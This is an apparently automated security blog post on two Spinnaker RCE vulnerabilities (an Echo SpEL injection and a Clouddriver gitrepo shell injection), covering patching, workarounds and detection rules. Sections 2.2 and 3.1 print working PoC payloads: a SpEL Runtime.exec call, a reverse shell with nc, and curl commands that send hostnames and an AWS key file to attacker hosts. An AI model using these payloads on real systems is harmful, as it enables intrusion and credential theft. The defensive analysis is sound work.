Spinnaker 2026.1.0 Emergency Patch Deep Dive — CVE-2026-32613 Echo SpEL RCE + CVE-2026-32604 Clouddriver Gitrepo Shell Injection (Double CVSS 9.9 Critical) Redefining the 2026 GitOps Multi-Cloud Delivery Pipeline Security Standard
On April 20, 2026, the Spinnaker security team simultaneously disclosed two CVSS 9.9 Critical remote code execution vulnerabilities. The first is CVE-2026-32613 — the Echo service's expected artifacts evaluation logic fails to restrict the Spring Expression Language (SpEL) context to a trusted class allowlist, allowing an authenticated user to instantiate arbitrary Java classes and execute host commands. The second is CVE-2026-32604 — Clouddriver's GitJobArtifactDownloader interpolates the reference, version, and artifactAccount fields of a gitrepo artifact directly into a sh -c invocation without validation, so shell metacharacters such as backticks, $(...), ;, and && are passed straight to the shell, escalating to RCE.
Both vulnerabilities are post-authentication, but many Spinnaker deployments sit behind a single SSO entry point with permissive RBAC, so the real attack surface is much larger than "auth required" suggests. Patches landed simultaneously across 2026.1.0, 2026.0.1, 2025.4.2, and 2025.3.2, and on the same day ZeroPath published a PoC for both CVEs — the patch window became the exposure window. This article decomposes the root cause of each CVE at the SpEL context handling and ProcessBuilder invocation level, reconstructs the public PoC at the PR / CLI / Helm values level, and consolidates ManoIT's phased patch, temporary block, and observability strategy applied to four internal multi-cloud delivery pipelines across nine axes.
1. Why April 20, 2026 Is the Inflection Point for Spinnaker Security
Spinnaker is a multi-cloud continuous delivery platform open-sourced by Netflix in 2014 and transferred to the CNCF in 2019. Its strength is a distributed architecture split into four-plus microservices (Deck UI, Gate API gateway, Orca orchestrator, Clouddriver cloud abstraction, Echo event router, Igor CI integration, Fiat authorization, Front50 metadata, Kayenta canary, Rosco bakery), but that same split creates ambiguous trust boundaries between services. The two CVEs disclosed on April 20 are exactly the result of that ambiguity.
| Date | Event | Operational Meaning |
|---|---|---|
| 2014.07 | Netflix open-sources Spinnaker | Start of multi-cloud CD standard |
| 2019.04 | CNCF Incubating Project accepted | Community governance settles |
| 2024.11 | Spinnaker 2025.0.0 released | Halyard dependency partially removed, Kubernetes 1.30 support |
| 2025.07 | Spinnaker 2025.3.0 | Echo SpEL evaluation path expanded (artifact trigger regex) |
| 2025.11 | Spinnaker 2025.4.0 | Clouddriver gitrepo artifact HTTPS basic auth added |
| 2026.02 | Spinnaker 2026.0.0 | Operator recommended over Halyard, Kubernetes 1.32 support |
| 2026.04.07 | Spinnaker 2026.0.2 (no security patch) | Minor bugfix release |
| 2026.04.20 | CVE-2026-32613 + CVE-2026-32604 simultaneous disclosure | Two CVSS 9.9 Critical, same-day patches |
| 2026.04.20 | Patches 2026.1.0 / 2026.0.1 / 2025.4.2 / 2025.3.2 released | Four supported lines patched simultaneously, workarounds documented |
| 2026.04.21 | ZeroPath PoC published (GitHub) | Patch and exposure windows effectively identical |
| 2026.05.02 | CCB Belgium national cybersecurity advisory | "Patch Immediately" — government/finance distribution |
| 2026.05.15 | Armory, OpsMx etc. commercial distros backport patches | Enterprise customer notification emails |
Two lines matter most operationally: (1) the patch and the PoC dropped in the same week — teams assuming a one-month patch grace period had 24 hours to decide; (2) four support lines were patched simultaneously — Spinnaker informally supports 2025.3.x, 2025.4.x, 2026.0.x, and 2026.1.x as LTS lines, and the vulnerable code lived in all four, so version downgrade is not a viable mitigation.
2. CVE-2026-32613 — Echo Service SpEL Context-Unrestricted RCE
The first CVE lives in Echo's echo-pipelinetriggers module. Echo is Spinnaker's event router — it receives external events (CI build completion, Pub/Sub, scheduled times, artifact changes) and fires the registered pipelines. During this flow it evaluates expected artifacts (the artifacts a pipeline waits for) using Spring Expression Language.
2.1 Root Cause — Inconsistent SpEL Context Handling Between Orca and Echo
Spinnaker's Orca (the pipeline orchestrator) restricts the SpEL evaluation context to a trusted class allowlist. This is the standard pattern adopted after a series of SpEL injection issues reported in 2019. However, Echo's expected artifacts evaluation path missed applying this allowlist, leaving SpEL with full JVM class access.
| Axis | Orca (safe) | Echo (vulnerable, pre-patch) |
|---|---|---|
| SpEL ParserContext |
StandardEvaluationContext + trusted class allowlist
|
StandardEvaluationContext (unrestricted) |
| Accessible classes | Spinnaker context vars + allowlisted classes | Entire JVM (incl. java.lang.Runtime) |
T(...) operator |
Allowlist only | Arbitrary classes allowed |
| Reflection calls | Blocked | Available |
| Arbitrary method invocation | Allowlisted methods only | All public methods |
| Post-2019 SpEL CVE response | Applied | Missed (5 years undetected) |
The most painful line is the last one. The protection Orca had applied five years ago was missing from Echo's expected-artifacts evaluation path for nearly five years. The patch fills exactly that gap — Echo's SpEL context now uses the same trusted class allowlist as Orca. The patch itself is around 30 lines of change, but for the five years those 30 lines were missing, every Spinnaker instance was exposed.
2.2 Attack Scenario — Poisoning an Expected Artifact Field with a SpEL Payload
Assume the attacker compromised an account with roles=APPLICATION_OWNER (the most common Spinnaker user role). The attack flow:
# 1) Log in to Spinnaker Gate API, capture session cookie
GATE="https://gate.spinnaker.example.com"
curl -sS -c cookies.txt "${GATE}/login/google" -d "username=victim&password=..."
# 2) Create a new pipeline (or edit an existing one)
# Inject SpEL payload into the expected artifact's name field
cat > pipeline.json <<'JSON'
{
"application": "marketing",
"name": "exfil-demo",
"expectedArtifacts": [{
"id": "art-0",
"matchArtifact": {
"type": "docker/image",
"name": "${T(java.lang.Runtime).getRuntime().exec(new String[]{'sh','-c','curl https://attacker.example/$(hostname)/$(id)'}).getInputStream()}",
"reference": "x"
},
"useDefaultArtifact": true,
"defaultArtifact": {"type": "docker/image", "name": "x", "reference": "x"}
}],
"triggers": [{"type": "pubsub", "enabled": true, "pubsubSystem": "google", "subscriptionName": "spinnaker"}],
"stages": []
}
JSON
# 3) Save pipeline -> next Pub/Sub event triggers Echo to evaluate the SpEL -> RCE
curl -sS -b cookies.txt -H "Content-Type: application/json" \
-X POST "${GATE}/pipelines" --data-binary @pipeline.json
The key is that ${T(java.lang.Runtime).getRuntime().exec(...)} executes as-is during Echo's SpEL evaluation. T(...) is the SpEL type-reference operator; with an allowlist in place, java.lang.Runtime is rejected. Pre-patch Echo had no such rejection logic, so the payload runs sh -c inside the Echo container and exfiltrates output to an external endpoint.
2.3 SpEL Evaluation Code Before and After the Patch
| Aspect | Before patch | After patch (2026.1.0 / 2025.3.2 backport) |
|---|---|---|
| Evaluation context creation | new StandardEvaluationContext() |
SpinnakerSpelEvaluationContext.trusted() |
| Type locator | Default StandardTypeLocator
|
Allowlist-based TrustedTypeLocator |
| Allowlisted classes (examples) | — |
String, Math, Integer, Long, Double, Boolean, List, Map, partial Spinnaker domain models |
| Blocked classes (examples) | — |
java.lang.Runtime, java.lang.ProcessBuilder, java.lang.reflect.*, java.io.File, etc. |
| Non-allowlisted class call | Executes | SpelEvaluationException: type 'X' is not whitelisted |
| Logging | — | Blocked evaluations logged at WARN level (detectable) |
Operationally interesting: the patch logs blocked SpEL evaluations at WARN level. This means legitimate pipelines may break right after patching because of the allowlist — a topic for the next section.
3. CVE-2026-32604 — Clouddriver Gitrepo Artifact Shell Metacharacter Injection RCE
The second CVE lives in Clouddriver's clouddriver-artifacts-gitrepo module — specifically the GitJobArtifactDownloader class. This class is invoked when a gitrepo-typed artifact is referenced in a pipeline; it clones the specified Git repository to local disk and downloads files at a specific branch / tag / path for downstream stages.
3.1 Root Cause — Shell Command String Interpolation Passed to ProcessBuilder
The downloader needs to execute something like git clone --depth 1 --branch <branch> <url> <tmpdir>. Pre-patch, the code assembled this as List<String> args = ["sh", "-c", "git clone ... " + branch + " ..."] and called new ProcessBuilder(args).start(). In other words, the user-supplied branch string entered shell word-splitting inside sh -c. Shell metacharacters are interpreted by the shell, and backticks / $(...) are executed as command substitution.
| # | Artifact field | Example legitimate value | Example malicious value | Result |
|---|---|---|---|---|
| 1 |
reference (URL) |
https://github.com/org/repo.git |
`https://github.com/org/repo.git; curl evil.sh\ | sh; #` |
| 2 |
version (branch) |
main |
main$(curl https://attacker/whoami)
|
RCE + hostname/user exfiltration |
| 3 |
location (path) |
k8s/deploy.yaml |
k8s/deploy.yaml; nc evil 4444 -e /bin/sh |
Reverse shell |
| 4 | artifactAccount |
github-prod |
github-prod`id` |
RCE + privilege info leak |
The most-cited PoC one-liner:
{
"type": "git/repo",
"reference": "https://github.com/example/x.git",
"version": "main$(curl https://attacker.example/exfil?h=$(hostname)&u=$(id -un)&k=$(cat /etc/spinnaker/secrets/aws-key))",
"location": "k8s/",
"artifactAccount": "github-prod"
}
When Clouddriver processes this gitrepo artifact, it evaluates to sh -c "git clone --branch main$(curl ...) ...". The $(curl ...) executes first, exfiltrating /etc/spinnaker/secrets/aws-key to the attacker. Clouddriver is the most sensitive service because it holds cloud API credentials, so AWS IAM keys, GCP service account keys, and Azure client secrets are all exposed.
3.2 ProcessBuilder Invocation Before and After the Patch
| Aspect | Before patch | After patch (2026.1.0) |
|---|---|---|
| Command assembly | ["sh", "-c", "git clone --branch " + branch + " " + url + " " + dir] |
["git", "clone", "--branch", branch, url, dir] |
| Shell invocation | Via sh -c — shell metachar interpretation |
Direct git call — no shell, metachar inert |
| Input validation | — |
BranchNameValidator + RefNameValidator added |
| Allowed character pattern | — |
^[A-Za-z0-9._\-/]{1,250}$ (git ref standard) |
| URL scheme validation | — | Only http(s)://, ssh://, git@ allowed — file://, ext:: blocked |
| On validation failure | — |
InvalidGitArtifactException + audit log |
The core fix is not going through a shell. When ProcessBuilder receives the argv array directly, no word-splitting occurs, so ;, $(...), and backticks become git "unknown ref name" rejections. The second defense line is git ref regex validation — defense-in-depth.
4. Temporary Mitigations — Driving Exposure Surface to Zero Before Patching
Two workarounds are usable during the short window before the patches roll out: (1) service-level disable, (2) artifact-type-level disable. ManoIT enabled both while patches were being staged.
4.1 Echo SpEL Evaluation Block (Temporary CVE-2026-32613 Mitigation)
The strongest workaround is disabling Echo entirely, but that stops all pipeline triggers (Pub/Sub, Cron, CI completion). The operational cost is too high, so ManoIT chose to disable only expected-artifact evaluation.
# spinnaker-config/echo-local.yml
# CVE-2026-32613 workaround — disable Echo expected artifacts SpEL evaluation
echo:
pipelinetriggers:
artifacts:
# Force false from April 20 until patches are applied
enabled: false
# SpEL evaluation never runs, so the unrestricted context issue is avoided
events:
# Keep triggers themselves — Cron, Pub/Sub continue to work
enabled: true
# Side effect — pipelines with these patterns won't fire during the block window:
# - Auto-deploy on Docker image push
# - Auto-sync on Helm chart release
# - GitOps sync on Git push
# Route these triggers temporarily via Jenkins/GitLab CI calling the Spinnaker API
4.2 Clouddriver Gitrepo Artifact Type Disable (Temporary CVE-2026-32604 Mitigation)
# spinnaker-config/clouddriver-local.yml
# CVE-2026-32604 workaround — completely block gitrepo artifact type
artifacts:
gitrepo:
enabled: false # false from April 20 until patches are applied
# Other artifact types unaffected
github:
enabled: true
helm:
enabled: true
http:
enabled: true
s3:
enabled: true
gcs:
enabled: true
# Side effect — manifest sync pipelines using git/repo must move to github or http types:
# git/repo + branch=main + path=k8s/ -> github + commitish=main + path=k8s/
4.3 Workaround Verification Steps
| Check | Command | Expected |
|---|---|---|
| Echo expected artifacts disabled | `curl -s http://echo:8089/env \ | jq '.echo.pipelinetriggers.artifacts.enabled'` |
| Clouddriver gitrepo disabled | `curl -s http://clouddriver:7002/artifacts/credentials \ | jq '.[].types'` |
| SpEL evaluation rejection log | `kubectl logs -n spinnaker deploy/spin-echo \ | grep "ArtifactEvaluator disabled"` |
| Gitrepo artifact creation blocked | Try creating a git/repo artifact in Deck UI | git/repo removed from dropdown |
| Affected pipeline inventory | `spin pipeline list --output json \ | jq '.[] \ |
5. Patch Application — Three Distributions: Halyard / Operator / Helm
Spinnaker patch procedures vary by installation method. The 2026.x recommended order is Operator → Helm → Halyard. ManoIT operates four internal instances — two via Operator, one via Helm, one via Halyard — so all three paths were exercised.
5.1 Operator-Based Upgrade (Recommended, 2026.x Standard)
{% raw %}
# spinnaker-config.yaml
apiVersion: spinnaker.io/v1alpha2
kind: SpinnakerService
metadata:
name: spinnaker
namespace: spinnaker
spec:
spinnakerConfig:
config:
version: 2026.1.0 # April 20 patch — 2026.0.0 -> 2026.0.1, 2025.4.x -> 2025.4.2
persistentStorage:
persistentStoreType: s3
security:
# After patching, restore the §4.1 / §4.2 workarounds to enabled: true
artifacts:
gitrepo:
enabled: true # restore after patch
profiles:
echo:
pipelinetriggers:
artifacts:
enabled: true # restore after patch
# Apply + monitor rolling update
kubectl apply -f spinnaker-config.yaml -n spinnaker
kubectl rollout status -n spinnaker deploy/spin-echo --timeout=10m
kubectl rollout status -n spinnaker deploy/spin-clouddriver --timeout=15m
# Version check
for svc in echo clouddriver orca gate front50; do
pod=$(kubectl get pod -n spinnaker -l app=spin,cluster=spin-${svc} -o name | head -1)
echo "${svc}: $(kubectl exec -n spinnaker ${pod} -- cat /opt/spinnaker/config/spinnaker.yml | grep -A1 'version:')"
done
5.2 Helm Chart-Based Upgrade
# OpsMx Spinnaker Helm chart (4.7.x supports 2026.1.0)
helm repo update opsmx
helm upgrade --install spinnaker opsmx/spinnaker \
--namespace spinnaker \
--version 4.7.2 \
--set spinnakerVersion=2026.1.0 \
--set profiles.echo.pipelinetriggers.artifacts.enabled=true \
--set profiles.clouddriver.artifacts.gitrepo.enabled=true \
--wait --timeout 20m
helm get values spinnaker -n spinnaker | grep -E 'spinnakerVersion|artifacts'
5.3 Halyard-Based Upgrade (Legacy)
# Run inside the Halyard container — deprecated in 2026.x but many sites still use it
hal config version edit --version 2026.1.0
hal config features edit --artifacts true
hal deploy apply
# Use hal deploy collect-logs after to confirm no SpEL WARNs
6. Post-Patch Regression Verification — Don't Block Legitimate SpEL
The most common post-patch operational incident is legitimate SpEL expressions being rejected by the allowlist. At ManoIT, three pipelines stopped right after patching, all matching one of these two patterns:
| Pattern | Pre-patch (worked) | Post-patch (fails) | Fix |
|---|---|---|---|
| 1 | ${T(java.time.LocalDate).now()} |
Blocked — java.time.LocalDate not allowlisted |
Use Spinnaker-provided ${execution.startTime} etc. |
| 2 | ${T(org.apache.commons.lang3.StringUtils).join(...)} |
Blocked — Apache Commons not allowlisted | Use native Java String methods or Spinnaker helpers |
| 3 | Argument-less variable reference ${parameters.version}
|
Works | — |
| 4 | List/map indexing ${trigger.artifacts[0].name}
|
Works | — |
| 5 | Math/string ${parameters.replicas * 2}
|
Works | — |
Three-step verification procedure:
# 1) For 1 week after the patch, harvest SpEL blocks from Echo logs
kubectl logs -n spinnaker deploy/spin-echo --since=168h \
| grep -E "SpelEvaluationException.*not whitelisted" \
| awk '{print $NF}' | sort | uniq -c | sort -rn
# 2) Map blocked pipelines — search the same SpEL in pipeline JSON
for app in $(spin application list --output json | jq -r '.[].name'); do
spin pipeline list --application "$app" --output json \
| jq -r --arg blocked "java.time.LocalDate" \
'.[] | select(.expectedArtifacts // [] | tostring | contains($blocked)) | "\(.application)/\(.name)"'
done
# 3) Pattern-bulk migration PR — code-searching teams can fix in bulk
rg -uu --json -e 'T\(java\.time\.LocalDate\)\.now\(\)' pipelines/ \
| jq -r 'select(.type=="match") | .data.path.text' | sort -u
7. Observability — Detecting Unpatched Instances and Exploit Attempts
Just as important as the patch itself is detecting instances that aren't patched and actual exploit attempts. ManoIT monitors via Prometheus, Loki, and Falco — three axes.
7.1 Prometheus — Version Metric and Blocked SpEL Counter
# prometheus/rules/spinnaker-cve-2026-32613-32604.yml
groups:
- name: spinnaker-cve-2026-32613-32604
rules:
# 1) Alert if Spinnaker version is below the patched lines
- alert: SpinnakerVulnerableVersion
expr: |
spinnaker_version_info{
version!~"^(2026\\.1\\.[0-9]+|2026\\.0\\.[1-9][0-9]*|2025\\.4\\.[2-9]|2025\\.3\\.[2-9])$"
} == 1
for: 5m
labels:
severity: critical
cve: "CVE-2026-32613,CVE-2026-32604"
annotations:
summary: "Spinnaker {{ $labels.instance }} runs vulnerable version {{ $labels.version }}"
runbook: "https://runbooks.manoit.co.kr/spinnaker-cve-2026"
# 2) Echo SpEL block counter rising (signal of normal post-patch behavior)
- alert: EchoSpelBlockSpike
expr: |
rate(echo_spel_evaluation_blocked_total[5m]) > 0.5
for: 10m
labels:
severity: warning
annotations:
summary: "Echo SpEL allowlist blocking {{ $value }} expressions/sec — review legitimate pipelines"
# 3) Clouddriver gitrepo invalid ref counter (signal of exploit attempt)
- alert: ClouddriverGitrepoInvalidRef
expr: |
rate(clouddriver_gitrepo_invalid_ref_total[5m]) > 0
for: 1m
labels:
severity: critical
annotations:
summary: "Clouddriver rejected invalid git ref — possible CVE-2026-32604 exploit attempt"
7.2 Loki — Search Echo/Clouddriver Logs for RCE Indicators
# LogQL — blocked-class call attempts in Echo SpEL evaluation
{namespace="spinnaker", app="spin", cluster="spin-echo"}
|~ "SpelEvaluationException"
|~ "(java\\.lang\\.(Runtime|ProcessBuilder)|java\\.io\\.File|java\\.lang\\.reflect)"
| line_format "{{.timestamp}} {{.pod}} {{.message}}"
# LogQL — Clouddriver gitrepo shell metachar injection attempts
{namespace="spinnaker", app="spin", cluster="spin-clouddriver"}
|~ "InvalidGitArtifactException"
|~ "[;&|`$()]"
# LogQL — 1-week SpEL block frequency stats post-patch
sum by (pod) (
count_over_time(
{namespace="spinnaker", cluster="spin-echo"}
|~ "SpelEvaluationException" [1w]
)
)
7.3 Falco — Detect Suspicious Subprocess at the Container Runtime
# /etc/falco/rules.d/spinnaker-rce.yaml
- rule: Spinnaker Echo unexpected subprocess
desc: "Echo container should not spawn shell or network tools (CVE-2026-32613 indicator)"
condition: >
spawned_process and
container.image.repository contains "spinnaker/echo" and
(proc.name in (sh, bash, curl, wget, nc, ncat, python, perl, ruby) or
proc.cmdline contains "/dev/tcp/")
output: >
Spinnaker Echo spawned suspicious process (user=%user.name command=%proc.cmdline
container_id=%container.id image=%container.image.repository)
priority: CRITICAL
tags: [spinnaker, cve-2026-32613, rce]
- rule: Spinnaker Clouddriver gitrepo unexpected child
desc: "Clouddriver gitrepo downloader should only spawn 'git' binary (CVE-2026-32604 indicator)"
condition: >
spawned_process and
container.image.repository contains "spinnaker/clouddriver" and
proc.pname = "java" and
not proc.name in (git, git-remote-http, git-remote-https)
output: >
Spinnaker Clouddriver Java spawned non-git child process
(command=%proc.cmdline parent=%proc.pname container_id=%container.id)
priority: CRITICAL
tags: [spinnaker, cve-2026-32604, rce]
8. ManoIT Internal Checklist — 4 Spinnaker Instances × 9 Phases
Operational checklist unrolled from the previous six sections. ManoIT runs four Spinnaker instances across a multi-cloud, multi-region environment, and patching took about 36 hours.
| # | Item | Owner | Done When |
|---|---|---|---|
| 1 | Inventory current versions of all Spinnaker instances | Platform | 4 instances × version table merged |
| 2 | Immediately deploy echo.pipelinetriggers.artifacts.enabled: false on all Echo (workaround) |
Platform | 4 Echo deploys rolled out |
| 3 | Immediately deploy artifacts.gitrepo.enabled: false on all Clouddriver |
Platform | 4 Clouddriver deploys rolled out |
| 4 | Inventory pipelines using artifact / git/repo — identify affected triggers | Service owners | Affected pipeline inventory PR |
| 5 | Route affected pipeline triggers via Jenkins/GitLab CI calling the Spinnaker API | Service owners | First green workaround build |
| 6 | Upgrade 2 Operator instances to 2026.1.0 | Platform | Both expose new version metric |
| 7 | Upgrade 1 Helm instance to 2026.1.0 | Platform | helm get values shows spinnakerVersion=2026.1.0 |
| 8 | Backport-patch 1 Halyard instance to 2025.4.2 (Operator migration as separate PR) | Platform | hal version shows 2025.4.2 |
| 9 | Restore workarounds on each instance — artifacts.enabled / gitrepo.enabled | Platform | First green artifact-triggered auto-build |
| 10 | Regression check — identify legitimate pipelines from SpEL block logs and migrate | Service owners | Block counter at 0 or allowlist-add PR |
| 11 | Deploy 3 Prometheus alerts (SpinnakerVulnerableVersion, EchoSpelBlockSpike, ClouddriverGitrepoInvalidRef) | Observability | Alert fire/resolve test passes |
| 12 | Add 3 Loki LogQL dashboard panels | Observability | Grafana dashboard merged |
| 13 | Deploy 2 Falco rules (Echo unexpected subprocess, Clouddriver gitrepo unexpected child) | SRE | Rule fires on sample exploit |
| 14 | Retroactive 1-week scan of Echo/Clouddriver logs for exploit indicators | Security | Investigation report merged |
| 15 | Rotate cloud keys held by Spinnaker (preemptive assume-breach) | Infra | AWS / GCP / Azure key rotation complete |
| 16 | Review RBAC — clean up APPLICATION_OWNER holders |
Security | Permission matrix PR merged |
| 17 | Add WAF rules in front of Spinnaker Gate — block SpEL payload pattern (T\(java\.) |
Security | WAF deployed; bypass attempts rejected at the gate |
| 18 | Write operational RFC — Spinnaker security patch SLA (workaround within 24h, patch within 7d of disclosure) | Platform | RFC merged, reflected in quarterly security review |
9. Conclusion — The Operational Cost of Ambiguous Trust Boundaries in Distributed Systems
The April 20, 2026 Spinnaker CVEs deliver a clear message: "Even microservices built by the same organization must consistently enforce standard defenses — trusted class allowlists, input validation — on a per-service basis." Orca has used a safe SpEL context for five years; Echo went five years without the same protection. Other Clouddriver artifact downloaders (http, s3, gcs) used the ProcessBuilder argv array directly; only the gitrepo downloader retained the sh -c path. Both are the result of inconsistency across "different modules in the same codebase."
Three operational reminders to close with: (1) assume the patch window equals the PoC window — the same-day patch on April 20 and the next-day ZeroPath PoC are exactly that case. Pre-commit to an SLA that deploys workarounds first and patches within 24 hours. (2) allowlist patches can break legitimate behavior — actively harvest SpEL block logs for one week after patching and prepare legitimate-pipeline migrations. (3) RCE must be paired with cloud key rotation — Spinnaker Clouddriver is the single store of multi-cloud credentials, so even without evidence of compromise, the standard is to rotate keys under the assume-breach principle. Section §8's 18-item checklist is exactly those three principles unrolled into operational procedure, and the shortest one-line recommendation from this article is: "Deploy §4 workarounds today; apply the §5 patches this week."
ⓘ This article was authored by ManoIT's automated blogging pipeline (Claude Opus 4.6 + Cowork Agent) using the Spinnaker GHSA-69rw-45wj-g4v6 (CVE-2026-32613) and same-date CVE-2026-32604 security advisories — published April 20, 2026 — as primary sources. Versions, patch lines, and workaround procedures reflect the official guidance as of the publication date (2026-05-26) and may change with subsequent Spinnaker security team notices. Verify current state at spinnaker/spinnaker GitHub Security Advisories and spinnaker.io/docs release notes before applying in production. Internal case examples are adapted from ManoIT Platform Team's internal RFC.
Originally published at ManoIT Tech Blog.
Top comments (0)